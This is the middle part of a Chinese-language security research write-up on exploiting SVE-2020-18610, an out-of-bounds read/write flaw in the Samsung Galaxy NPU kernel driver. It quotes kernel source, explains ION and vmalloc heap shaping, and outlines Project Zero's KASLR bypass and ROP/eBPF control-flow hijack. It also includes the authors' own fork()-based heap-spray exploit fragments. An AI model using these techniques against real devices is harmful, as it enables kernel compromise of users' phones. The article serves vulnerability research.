深入剖析SVE-2020-18610漏洞（中）

 

关于Samsung Galaxy的NPU漏洞，谷歌安全团队Project Zero曾经专门撰文加以介绍；但是，在本文中，我们将为读者介绍另外一种不同的漏洞利用方法。由于该漏洞本身非常简单，因此，我们将重点放在如何获得AAR/AAW，以及如何绕过Samsung Galaxy的缓解措施（如SELinux和KNOX）方面。我们的测试工作是在Samsung Galaxy S10上完成的，对于Samsung Galaxy S20，这里介绍的方法应该同样有效。

（接上文）

 

ION分配器

ION分配器其实就是一个内存池管理器，在用户空间、内核和协处理器之间分配一些可共享的内存缓冲区。ION分配器的主要用途是分配DMA缓冲区，并与各种硬件组件共享该内存区域。

// drivers/staging/android/uapi/ion.h (Samsung Galaxy kernel source)

enum ion_heap_type {
	ION_HEAP_TYPE_SYSTEM,
	ION_HEAP_TYPE_SYSTEM_CONTIG,
	ION_HEAP_TYPE_CARVEOUT,
	ION_HEAP_TYPE_CHUNK,
	ION_HEAP_TYPE_DMA,
	ION_HEAP_TYPE_CUSTOM, /*
			       * must be last so device specific heaps always
			       * are at the end of this enum
			       */
	ION_HEAP_TYPE_CUSTOM2,
	ION_HEAP_TYPE_HPA = ION_HEAP_TYPE_CUSTOM,
};

...

struct ion_allocation_data {
	__u64 len;
	__u32 heap_id_mask;
	__u32 flags;
	__u32 fd;
	__u32 unused;
};

ION分配器有2个重要的结构体，其中struct ion_allocation_data用于为用户空间ioctl命令分配ION缓冲区，如果分配成功，则设置fd成员；另一个重要的结构体是enum ion_heap_type，用于在初始化阶段创建特定类型的内存池。

用户空间可以通过/dev/ion接口使用ION分配器，具体代码如下所示。

其中，结构体ion_allocation_data中的heap_id_mask成员用于选择我们需要的特定ION内存。

int prepare_ion_buffer(uint64_t size) {
	int kr;
  int ion_fd = open("/dev/ion", O_RDONLY);
  struct ion_allocation_data data;
  memset(&data, 0, sizeof(data));

  data.allocation.len = size;
  data.allocation.heap_id_mask = 1 << 1;
  data.allocation.flags = ION_FLAG_CACHED;
  if ((kr = ioctl(ion_fd, ION_IOC_ALLOC, &data)) < 0) {
      return kr;
  }

  return data.allocation.fd;
}

...

void work() {
  int dma_fd = prepare_ion_buffer(0x1000);
  void *ion_buffer = mmap(NULL, 0x7000, PROT_READ|PROT_WRITE, MAP_SHARED, dma_fd, 0);
}

就我们的NPU来说，分配的ION缓冲区在ION_HEAP_map_kernel中被用来与NPU设备进行同步，同时，通过mmaping data.allocation.fd，该ION缓冲区也会同步到用户空间缓冲区。

 

漏洞分析

该漏洞同时存在于__pilot_parsing_ncp和__second_parsing_ncp函数中。

int __second_parsing_ncp(
	struct npu_session *session,
	struct temp_av **temp_IFM_av, struct temp_av **temp_OFM_av,
	struct temp_av **temp_IMB_av, struct addr_info **WGT_av)
{
	u32 address_vector_offset;
	u32 address_vector_cnt;
	u32 memory_vector_offset;
	u32 memory_vector_cnt;
	...
	struct ncp_header *ncp;
	struct address_vector *av;
	struct memory_vector *mv;
	...
	char *ncp_vaddr;
  ...
	ncp_vaddr = (char *)session->ncp_mem_buf->vaddr;
	ncp = (struct ncp_header *)ncp_vaddr;
	...
	address_vector_offset = ncp->address_vector_offset;
	address_vector_cnt = ncp->address_vector_cnt;
	...
	memory_vector_offset = ncp->memory_vector_offset;
	memory_vector_cnt = ncp->memory_vector_cnt;
	...
	mv = (struct memory_vector *)(ncp_vaddr + memory_vector_offset);
	av = (struct address_vector *)(ncp_vaddr + address_vector_offset);
	...
	for (i = 0; i < memory_vector_cnt; i++) {
		u32 memory_type = (mv + i)->type;
		u32 address_vector_index;
		u32 weight_offset;

		switch (memory_type) {
		case MEMORY_TYPE_IN_FMAP:
			{
				address_vector_index = (mv + i)->address_vector_index;
				if (!EVER_FIND_FM(IFM_cnt, *temp_IFM_av, address_vector_index)) {
					(*temp_IFM_av + (*IFM_cnt))->index = address_vector_index;
					(*temp_IFM_av + (*IFM_cnt))->size = (av + address_vector_index)->size;
					(*temp_IFM_av + (*IFM_cnt))->pixel_format = (mv + i)->pixel_format;
					(*temp_IFM_av + (*IFM_cnt))->width = (mv + i)->width;
					(*temp_IFM_av + (*IFM_cnt))->height = (mv + i)->height;
					(*temp_IFM_av + (*IFM_cnt))->channels = (mv + i)->channels;
          ...

但是，在__second_parsing_ncp函数中出现了非常严重的越界读/写漏洞。正如我们在上一节所说，session->ncp_mem_buf->vaddr存放的是用户的数据。

所以，address_vector_offset，address_vector_cnt，memory_vector_offset和memory_vector_cnt是由我们提供的数据进行初始化的。正如变量名称所示，address_vector_offset和memory_vector_offset是用来计算每个向量内存地址的。

但是，由于这里并没有进行边界检查，因此，我们可以让mv和av指向内核空间中的任意区域，并且通过mv和av，我们可以用边界之外的未知值来填充temp_IFM_av。

 

获取AAR/AAW原语

现在，我们已经能够进行越界读/写了，但如何将其转换为AAR/AAW原语呢？

首先，我们需要知道我们在哪里，以确定我们可以读/写内核中的哪些对象。由于ION缓冲区是通过vmalloc映射到NPU会话的，而这个区域会存在越界漏洞，因此，我们需要知道vmalloc的分配算法，以及通过vmalloc分配的对象是什么。

vmalloc?

在内核中，主要有2个内存分配API，具体如下所示：

1. kmalloc
2. vmalloc

实际上，kmalloc和vmalloc的主要区别是物理内存的连续性。kmalloc分配的内存不仅在物理内存空间中是连续的，而且在虚拟内存空间中也是连续的。另一方面，vmalloc将内存分配到几乎连续的内存中，但每一页在物理内存中都是碎片化的。

对于vmalloc来说，它一个非常重要的特性是它可以分配守护页（guard page）的内存。

// kernel/fork.c
static unsigned long *alloc_thread_stack_node(struct task_struct *tsk, int node)
{
#ifdef CONFIG_VMAP_STACK
	void *stack;
	...
	stack = __vmalloc_node_range(THREAD_SIZE, THREAD_ALIGN,
				     VMALLOC_START, VMALLOC_END,
				     THREADINFO_GFP,
				     PAGE_KERNEL,
				     0, node, __builtin_return_address(0));
  ...

由于在ARM64中THREAD_SIZE是(1 << 14)，所以每个内核线程栈的大小为4K。但每个内核线程栈都有类似下面的前/后保护页，以防止内核出现溢出漏洞。

所以，当我们在今年年初测试这个漏洞的时候，我们意识到，必须通过对堆进行塑型来利用这个漏洞。如果我们能像下面那样成功地对堆进行塑型，保护页对我们来说就不是障碍了，因为我们获得了强大的越界读写能力!

Google Project Zero的方法

如上所述，要成功地利用这个漏洞，我们需要像上面那样塑造堆。P0使用了一堆binder文件描述符和uesr线程来塑造堆。详细的方法和代码，大家可以在P0的文章中找到。

 

越界加法

他们在__second_parsing_ncp函数中直接使用了越界读/写。

在MEMORY_TYPE_WMASK的情况下，他们可以让(av + address_vector_index)->m_addr指向vmap-ed缓冲区的界外地址。所以，他们可以通过(av + address_vector_index)->m_addr = weight_offset + ncp_daddr;语句在ION缓冲区之任意的地址进行越界读/写。

int __second_parsing_ncp(
	struct npu_session *session,
	struct temp_av **temp_IFM_av, struct temp_av **temp_OFM_av,
	struct temp_av **temp_IMB_av, struct addr_info **WGT_av)
{
  		...
	    struct address_vector *av;
	    ...
	    address_vector_offset = ncp->address_vector_offset; /* u32 */
	    ...
	    av = (struct address_vector *)(ncp_vaddr + address_vector_offset);
	    ...
	    case MEMORY_TYPE_WMASK:
	    {
	        // update address vector, m_addr with ncp_alloc_daddr + offset
	        address_vector_index = (mv + i)->address_vector_index;
	        weight_offset = (av + address_vector_index)->m_addr;
	        if (weight_offset > (u32)session->ncp_mem_buf->size) {
	            ret = -EINVAL;
	            ...
	            goto p_err;
	        }
	        (av + address_vector_index)->m_addr = weight_offset + ncp_daddr;
	        ....

当然，由于他们的越界加法原语仅适用于ncp_daddr，他们需要设法控制ncp_daddr来获取一些想要的值。因为ncp_daddr是ION缓冲区的设备地址，所以，他们需要把ION缓冲区放到特定的位置，并且还要有特定的大小。他们通过大量的测试，使用类型编号为5的ION堆来解决了这个问题，这种堆通常会从低到高分配设备地址。

 

绕过KASLR

他们选择通过pselect()系统调用来利用内核空间的copy_to_user()。在pselect()系统调用中，目标线程任务将在执行copy_to_user()之前被阻塞，因此，在主exploit线程中，他们修改了copy_to_user()的参数size。

int core_sys_select(int n, fd_set __user *inp, fd_set __user *outp,
			   fd_set __user *exp, struct timespec64 *end_time)
{
	...
	ret = do_select(n, &fds, end_time);
	...
	if (set_fd_set(n, inp, fds.res_in) ||
	    set_fd_set(n, outp, fds.res_out) ||
	    set_fd_set(n, exp, fds.res_ex))
    ...

在这部分代码最有意思的是，即使n来自寄存器，当do_select被阻塞时，n也必定被溢出到堆栈。所以，如果溢出的n被越界写漏洞所修改，相应的字节数就会被复制到用户空间。

static inline unsigned long __must_check
set_fd_set(unsigned long nr, void __user *ufdset, unsigned long *fdset)
{
	if (ufdset)
		return __copy_to_user(ufdset, fdset, FDS_BYTES(nr));
	return 0;
}

虽然在__copy_to_user()中进行了某些优化和安全检查，但他们成功地得到了未初始化的内核堆栈内容。

 

劫持控制流

通过控制栈内容实现ROP是非常复杂的一个任务。简单的说，他们为此还使用了pselect系统调用，因为当do_select()函数被poll_schedule_timeout()函数阻塞时，他们可以通过越界原语来修改n的值。所以，当解除阻塞后，for循环会在fds栈帧上运行，并且栈内容将被覆盖。

static int do_select(int n, fd_set_bits *fds, struct timespec64 *end_time)
{
...
    retval = 0;
    for (;;) {
...
        inp = fds->in; outp = fds->out; exp = fds->ex;
        rinp = fds->res_in; routp = fds->res_out; rexp = fds->res_ex;
	//
        for (i = 0; i < n; ++rinp, ++routp, ++rexp) {
...
            in = *inp++; out = *outp++; ex = *exp++;
            all_bits = in | out | ex;
            if (all_bits == 0) {
                i += BITS_PER_LONG;
                continue;
            }
	//
            for (j = 0, bit = 1; j < BITS_PER_LONG; ++j, ++i, bit <<= 1) {
                struct fd f;
                if (i >= n)
                    break;
                if (!(bit & all_bits))
                    continue;
                f = fdget(i);
                if (f.file) {
...
                    if (f_op->poll) {
...
                        mask = (*f_op->poll)(f.file, wait);
                    }
                    fdput(f);
                    if ((mask & POLLIN_SET) && (in & bit)) {
                        res_in |= bit;
                        retval++;
...
                    }
...
                }
            }
            if (res_in)
                *rinp = res_in;
            if (res_out)
                *routp = res_out;
            if (res_ex)
                *rexp = res_ex;
            cond_resched();
        }
...
        if (retval || timed_out || signal_pending(current))
            break;
...
        if (!poll_schedule_timeout(&table, TASK_INTERRUPTIBLE,
                       to, slack))
            timed_out = 1;
    }
...
    return retval;
}

在内核中找到ROP后，他们进一步使用了eBPF系统，因为如果我们可以将X1寄存器的任意值传递给__bpf_prog_run()，我们就可以通过执行一连串的eBPF指令，来对任意的地址进行读写操作，并调用内核函数。

我们使用的方法

我们也像P0一样塑造了堆，但是没有使用binder的fd和用户线程，而是使用了fork()系统调用，因为它也调用了内核例程中的vmalloc。由于我们是在Samsung Galaxy S10 SM-973N上开发的exploit，所以，我们能得到的所有信息，都来自adb bugreport命令。

...
  
atomic_int *wait_count;

int parent_pipe[2];
int child_pipe[2];
int trig_pipe[2];

void *read_sleep_func(void *arg){
    atomic_fetch_add(wait_count, 1);
    syscall(__NR_read, trig_pipe[0], 0x41414141, 0x13371337, 0x42424242, 0x43434343);

    return NULL;
}

...
  
int main(int argc, char *argv[]) {
  	...
    pipe(parent_pipe);
    pipe(child_pipe);
    pipe(trig_pipe);
  	...
    *wait_count = 0;
    int par_pid = 0;
    if (!(par_pid = fork())) {
        for (int i = 0; i < 0x2000; i++) {
            int pid = 0;
            if (!(pid = fork())){
                read_sleep_func(NULL);
                return 0;
            }
        }
        return 0;
    }
  	...
    if(leak(0xeec8) != 0x41414141){
        write(trig_pipe[1], "A", 1); // child process kill
        for (int i = ion_fd; i < 0x3ff; i++) {
            close(i);
        }
        munmap(ncp_page, 0x7000);
        goto retry;
    }
  	...

通过一种非常启发式的方法，即检查内核崩溃是否发生，我们最终可以将子内核堆栈放置在ION缓冲区之后。

 

小结

关于Samsung Galaxy的NPU漏洞，谷歌安全团队Project Zero曾经专门撰文加以介绍；但是，在本文中，我们将为读者介绍另外一种不同的漏洞利用方法。由于该漏洞本身非常简单，因此，我们将重点放在如何获得AAR/AAW，以及如何绕过Samsung Galaxy的缓解措施（如SELinux和KNOX）方面。我们的测试工作是在Samsung Galaxy S10上完成的，对于Samsung Galaxy S20，这里介绍的方法应该同样有效。

（未完待续）